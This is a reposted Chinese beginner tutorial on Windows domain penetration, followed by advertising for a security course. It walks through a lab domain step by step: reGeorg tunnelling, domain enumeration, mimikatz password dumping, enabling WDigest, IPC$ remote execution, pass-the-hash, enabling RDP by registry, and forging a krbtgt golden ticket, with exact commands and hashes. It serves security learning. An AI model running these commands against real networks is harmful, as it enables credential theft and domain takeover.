内网渗透零基础入门教程!小白也能轻松搞懂内网渗透基础知识点
内网渗透初探 | 小白简单学习内网渗透0x01 基础知识内网渗透从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个Webshell可以是低权限的Webshell因为可以通过提权获取高权限。在进行内网渗透之前需要了解一个概念域环境。在内网中往往可能存在几百上千台机器例如需要对机器进行升级、打补丁、设置权限等管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域将所有其他主机加入域中以域控来操作其他主机。因为域控的高权限导致了域控所在的主机的管理员账号密码可以登录任意一台主机所以内网渗透的最终目标往往便是拿下域控的权限。首先通过提权获取一个具有管理员权限的账号密码hacker/1234,abcd。具体提权过程就不细说了。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。0x02 内网穿透在渗透测试过程中我们拿下了一台服务器的权限并且通过netstat -ano发现开启了3389端口想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网而内网主机的3389端口是公网IP通过端口映射的。也就是说我们连接的外网IP地址的3389端口映射到内网中不一定是那台服务器的3389端口。解决这种问题的方法有两种1、让目标机器去连接外网主机必须有一台公网服务器内网主机能够访问互联网2、在目标机器上设置一个信号站放一个WEB文件在目标机器上所有流量都经过这个文件通信在渗透测试过程中内网主机不能够访问互联网是很常见的下面通过方法2进行内网穿透。一、具体流程1、首先需要一款工具regeorg来建立一个信号站。2、这里以PHP站点为例将tunnel.nosocket.php文件通过之前获取的Webshell上传到站点尝试使用web端访问确定文件存在。3、以python环境运行reGeorgSocksProxy.py脚本将从本机的3344端口经过的数据都发送给目标机器的tunnel.nosocket.php文件。python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php4、使用工具proxifier设置远程桌面软件mstsc.exe的数据包从本地的3344端口出网。5、成功进行内网穿透通过远程桌面连接到目标主机。其他内网穿透方法还有Frp、Ew、nps等都是一些可以穿透的工具原理为搭建一条直通内网的隧道这里就不详细介绍了。0x03 内网信息收集1、使用PsExec.exe获取SYSTEM权限进行内网信息收集需要具有一定的权限所以先进行提权获取SYSTEM权限。PsExec.exe -s -i -d cmd2、获取所有域用户列表使用net user /domain命令获取内网的域为ajie.cool域中具有Administrator、Guest、krbtgt、web用户。3、获取域用户组信息使用net group /domain命令获取域用户组信息。4、获取域管理员列表使用net group “domain admins” /domain 命令获取域管理员列表域管账户只有Administrator。5、获取域服务器的IP地址通过ping 域名称来获取域服务器的IP地址。也可以通过查看dns服务器的IP地址结合进行判断域服务器的IP地址。6、安装Nmap进行扫描前面介绍了Nmap工具在内网渗透过程中也可以通过Nmap获取内网信息。1首先通过Webshell上传Nmap的安装包。2远程连接目标服务器并安装Nmap进行内网信息收集。7、内网主机存活探测因为动静比较大也可以通过nbtscan工具进行。因为相对于Nmap的大规模扫描行为nbtscan基于NetBios进行探测即是相当于windows打开我的电脑中的网络一样被发现的几率相对低一些。0x04 Hash读取此处Hash读取通过工具mimikatz来进行mimikatz是由本杰明·德尔皮创建开发的一个能够从内存中读取hash账号密码的工具也可以说是内网渗透中的神器。下面介绍如何通过mimikatz工具读取服务器内存中存储的hash密码。1、首先以管理员权限打开mimikatz。2、使用privilege::debug提升权限。3、使用sekurlsa::logonpasswords读取到内存中的管理者账号的明文密码和本机的web用户的密码。4、远程桌面登录管理员账号。0x05 Hash传递一、基础知识上面介绍了如何进行Hash读取如果域控管理员使用自己的域控账号登录了服务器那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的所以在渗透测试过程中内网的机器往往会打KB2871997补丁并且修改注册表关闭Wdigest Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文Hash但是密文Hash往往不可逆解开需要花费大量精力。在域环境下检测密码不是先将Hash解密再验证是否正确的。在验证输入的账号密码是否正确的时候是通过验证Hash是否相同来进行校验的。也就是说或许我们可以通过获取的Hash来伪造管理员账号密码登录也就是Hash传递又叫PTH通过将获取的NTLM密文传递到验证登录的机器绕过正常验证进行登录系统。二、Wdigest注册表中的Wdigest功能关系着内存中是否有明文密码通过查看注册表键值可以判断Wdigest功能状态。如果该项值为“1”则为开启即可以获取明文密码如果该项值为“0”则明文密码不会出现在内存中。开启和关闭Wdigest Auth命令如下1开启Wdigest Authreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f2关闭Wdigest Authreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f三、IPC$1、概念IPC$(Internet Process Connection)是共享命名管道的资源它是为了让进程间通信而开放的命名管道通过提供可信任的用户名和口令连接双方可以建立安全的通道并以此通道进行加密数据的交换从而实现对远程计算机的访问。IPC$的使用条件 开放了139、445端口 目标开启IPC$文件共享 获取用户账号密码。在内网中默认就会开启IPC$共享文件服务默认会将C盘共享出来也就是说我们可以通过IPC获取目标C盘的权限。2、IPC$常用命令net use查看当前连接的IPC$net use * /del删除IPC$连接net use \192.168.1.1\ipc$ 密码 /user:域\账号连接域内IP地址为192.168.1.1的主机dir \192.168.1.1\c$列出连接的192.168.1.1的C盘文件copy c:/12.txt \192.168.1.1\c$\2.txt复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt3、IPC$命令执行1、通过at命令制定计划进行命令执行。at \\192.168.1.1 11:15am cmd /c whoami2、通过at命令制定计划进行多层代理的命令执行at \\192.168.100.1 11:15am cmd /c net use \\192.168.200.1\ipc$ 密码 /user:账号 at \\192.168.100.1 11:15am cmd /c at \\192.168.100.1 11:15am cmd /c whoami 四、Hash传递实战演示1、首先尝试抓取密码发现获取的全部都是密文。2、这里虽然没有获取到明文密码但是获取了域管理员用户的NTLM。3、提权到SYSTEM权限执行net user /domain获取域管所在的主机地址。4、尝试使用ipc$读取域管的c盘目录显示拒绝访问。5、通过mimikatz工具进行Hash传递。sekurlsa::pth /user:administrator /domain:ajie.cool /ntlm:f1de694efa543bb780da59c049541ea36、执行完之后会弹出一个命令提示符执行dir \AD.ajie.cool\c$成功无需账号密码获取了域控机器的c盘的权限列出了c盘的文件。7、在通过PTH弹出的命令提示符中通过…/跳转到PsExec.exe文件所在目录执行命令提权获取一个域控机器的cmd命令提示符。8、执行ipconfig可以看到是域控所在机器的IP地址成功拿到域控所在机器的权限。9、在域控中新建用户并加到管理员组。10、以新创建的用户远程桌面登录域控发现无法连接远程桌面服务。11、通过reg命令查询注册表查看远程桌面服务发现返回0x01说明远程桌面服务没有开启。开启则返回0x00REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections12、通过拿到的域控的命令提示符来执行修改注册表操作打开远程服务功能。REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x00000d3d /f13、以新建的hackerend用户远程桌面登录域控。0x06 黄金票据一、基础知识前面了解到在域环境中域控的账号密码可以登录域内任意一台主机那么主机是如何检测域控账号密码是否正确的呢检验账号密码可以有两种方法询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫KDC密钥分发中心。以下内容涉及内网的kerboros协议小弟学业不精就简单说一下了。二、KDC密钥分发中心KDCkerberos Distribution Center密钥分发中心维护所有账户的名称和Master Keykey的hash code。提供AS认证服务、TGS票据授予服务。1、AS授权服务Authorization Server对于上面的流程1提供初始授权认证用户表明需求并使用密码对请求进行加密AS用提供的密码对请求进行解密后得到的请求内容返回给用户一个TGT票据授权票据 ticket granting tickets用一个密码加密。2、TGS用户得到TGT之后使用TGT去访问TGS票据授权中心Ticket Granting ServerTGS验证TGT后使用密钥解密返回一个Ticket给用户用户得到Ticket后去访问ServerServer收到Ticket和KDC进行验证通过后提供服务。3、票据在内网渗透中票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是Kerberos认证协议的Ticket因为已经经过了AS和TGS的校验所以获取了票据之后可以任意登录目标主机。在查询域内用户的时候总会看到一个用户叫krbtgt如图5-37所示。krbtgt账户其实就是KDC秘钥分发中心用的超管账户。我们拿着krbtgt账户的票据去访问域内机器目标主机会认为我们是KDC秘钥分发中心所以直接给了最高的权限允许我们访问。一般管理员会修改域控账号的密码但是很少有管理员会修改Krbtgt的密码。在内网渗透的最后阶段我们需要通过获取黄金票据进行权限维持那么下面将介绍如何获取krbtgt账户的黄金票据。三、实战演示1、首先通过远程桌面将mimikatz.exe和PsExec.exe上传到域控主机。2、通过PsExec提权为SYSTEM然后执行mimikatz输入命令lsadump::dcsync /user:krbtgt 获取krbtgt的hash值。3、这里制作黄金票据需要的数据为Object Security ID : S-1-5-21-3296092892-1320626564-2720975204Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659原Object Security ID最后面有个-502是作为标识的在制作时需要手动删除。4、退出远程桌面在攻击机通过mimikatz制作黄金票据。执行命令后会生成一个AD.kiribi文件。kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi5、制作完票据之后先尝试获取域控的c盘的权限发现拒绝访问。6、通过kerberos::purge清空票据缓存kerberos::list列出票据显示为空说明清空了所以票据。7、通过kerberos::ptt administrator.kiribi加载生成的票据。8、成功无密码获取域控c盘权限后面进一步提权与Hash传递处相仿就不做演示了。0x07 总结以上便是我学习的简单地从外网获取shell经过提权或不提权直接进行内网渗透的一个简单过程其中涉及一些概念问题没有说的很明白希望表哥们提点提点。以上仅为个人学习过程可能知识点过于简单望理解。学习资源如果你也是零基础想转行网络安全却苦于没系统学习路径、不懂核心攻防技能光靠盲目摸索不仅浪费时间还消磨自己信心。这份 360 智榜样学习中心独家出版《网络攻防知识库》专为转行党量身打造01内容涵盖这份资料专门为零基础转行设计19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进攻防结合的讲解方式让新手轻松上手真实实战案例 落地脚本直接对标企业岗位需求帮你快速搭建转行核心技能体系这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 *安全链接放心点击02 知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。03 谁需要掌握本知识库负责企业整体安全策略与建设的CISO/安全总监从事渗透测试、红队行动的安全研究员/渗透测试工程师负责安全监控、威胁分析、应急响应的蓝队工程师/SOC分析师设计开发安全产品、自动化工具的安全开发工程师对网络攻防技术有浓厚兴趣的高校信息安全专业师生04部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】**读者福利 |***CSDN大礼包《网络安全入门进阶学习资源包》免费分享 ***安全链接放心点击**本文转自网络如有侵权请联系删除。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2480962.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!